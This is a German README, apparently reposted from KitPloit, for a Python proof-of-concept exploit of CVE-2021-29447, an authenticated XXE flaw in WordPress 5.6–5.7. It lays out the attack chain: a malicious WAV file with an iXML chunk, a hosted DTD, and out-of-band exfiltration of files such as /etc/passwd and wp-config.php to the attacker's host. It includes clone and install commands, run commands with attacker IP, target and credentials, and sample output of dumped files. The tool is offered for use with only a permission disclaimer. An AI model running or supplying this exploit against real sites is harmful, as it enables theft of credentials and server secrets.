CVE-2021-29447 Authentifizierter XXE-Exploit für WordPress 🎯

Ein Python-PoC zur Ausnutzung der authentifizierten XXE-Schwachstelle (CVE-2021-29447) in WordPress-Versionen 5.6–5.7 über WAV-Metadaten. Es missbraucht den iXML-Chunk in WAV-Dateien, um eine Out-of-Band (OOB)-Exfiltration sensibler Daten – wie /etc/passwd, wp-config.php und mehr – direkt in Ihr dump/-Verzeichnis auszulösen.

So funktioniert es 🔍

Dieses Skript nutzt eine Schwachstelle durch XML External Entities (XXE) in der Art, wie WordPress WAV-Metadaten parst:

1. WAV-Erstellung: Erzeugt eine bösartige WAV-Datei mit einem iXML-Chunk, der auf eine entfernte DTD auf Ihrer Maschine verweist.
2. DTD-Hosting: Startet einen HTTP-Server (oder verwendet Ihren eigenen), um die präparierte DTD bereitzustellen, die WordPress anweist, eine Zieldatei (z. B. /etc/passwd) zu lesen und in Base64 zu kodieren.
3. Datei-Upload: Authentifiziert sich bei WordPress, ruft den Nonce für den Medien-Upload ab und lädt das WAV über die Mediathek hoch.
4. OOB-Exfiltration: WordPress parst das WAV, ruft die DTD ab und führt dann einen Callback an Ihren Server mit den Base64-Daten aus. Das Skript dekodiert sie und schreibt sie nach dump/.

Hauptfunktionen ⚡

• Interaktiver Modus (-i): Fragt so lange nach Dateipfaden, bis CTRL+C gedrückt wird – ideal für Ad-hoc-Erkundungen.
• Wortlisten-Modus (-w <datei>): Stapelverarbeitung dutzender Dateipfade aus einer Liste.
• HTTP-Server überspringen (--no-http): Nutzen Sie Ihren eigenen Webserver anstelle des integrierten.
• Debug-Modus (--debug): Zeigt detaillierte HTTP- und interne Debug-Logs.
• Saubere, farbige Logs: Bezeichnungen mit Präfix – [CONFIG], [UPLOAD], [DUMP], [WARN], [ERROR] – für schnelle Statusprüfungen.
• Konfigurierbares Timeout: Wartet bis zu 6 Sekunden auf jede Exfiltration, bevor es fortfährt.

Installation 🛠️

1. Klonen Sie das Repository:
   root@kitploit:~

   git clone https://github.com/Tea-On/CVE-2021-29447-Authenticated-XXE-WordPress-5.6-5.7.git
   cd CVE-2021-29447-Authenticated-XXE-WordPress-5.6-5.7
   

2. Installieren Sie die Python-Abhängigkeit:
   root@kitploit:~

   pip3 install requests
   

🧾 Argumentreferenz

Beispielverwendung 💥

Interaktiver Modus

python3 exploit_CVE-2021-29447.py \
  -H 10.10.14.8 -p 8080 \
  -u admin -P p@ssw0rd \
  -d http://vulnerable.local -i

[CONFIG] Interactive mode (CTRL+C to exit)
File> /etc/passwd
[CONFIG] DTD written: dtd/L2V0Yy9wYXNzd2Q=.dtd
[CONFIG] WAV built
[INFO] Nonce: d87f00a552
[DUMP] Dumped: dump/passwd
[UPLOAD] Upload ok (200)
[UPLOAD] URL: http://vulnerable.local/wp-content/uploads/payload.wav
File>

Wortlisten-Modus

python3 exploit_CVE-2021-29447.py \
  -H 10.10.14.8 -p 8080 \
  -u admin -P p@ssw0rd \
  -d http://vulnerable.local -w wordlist.txt

[CONFIG] Loaded 4 paths from "wordlist.txt"
[CONFIG] Using HTTP server at 10.10.14.8:8080
[CONFIG] Starting batch exfiltration...
[DUMP] [/etc/passwd] → dump/passwd
[WARN] No exfil for /etc/hostname within 6s, continuing
[UPLOAD] Upload ok (200)
[ERROR] Upload fail (502) on "/nonexistent"

Ohne Server & Debug

python3 exploit_CVE-2021-29447.py \
  -H 10.10.14.8 -p 8080 \
  -u admin -P p@ssw0rd \
  -d http://vulnerable.local --no-http --debug -w wordlist.txt

Verwenden Sie Ihren eigenen HTTP-Server, um dtd/ zu hosten und Callbacks zu erfassen. Debug-Logs erscheinen als [DEBUG].

Ausgabeverzeichnisse 📂

• dtd/ – Generierte DTD-Dateien, die dem Ziel bereitgestellt werden.
• dump/ – Dekodierte Dateiinhalte, benannt nach dem ursprünglichen Pfad.

Tipps & Tricks 💡

• Timeout anpassen: Ändern Sie die Variable EXFIL_TIMEOUT (Standard 6s) für langsame Netzwerke.
• Debug verwenden: Aktivieren Sie --debug, um Probleme mit Authentifizierung, Upload oder Callbacks zu diagnostizieren.

Verantwortungsvolle Offenlegung & Lizenz 🔐

Verwenden Sie dieses Tool nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Erlaubnis zum Testen haben.

Lizenziert unter der MIT-Lizenz. Beiträge willkommen – lasst uns Hacking ethisch und unterhaltsam halten! ✨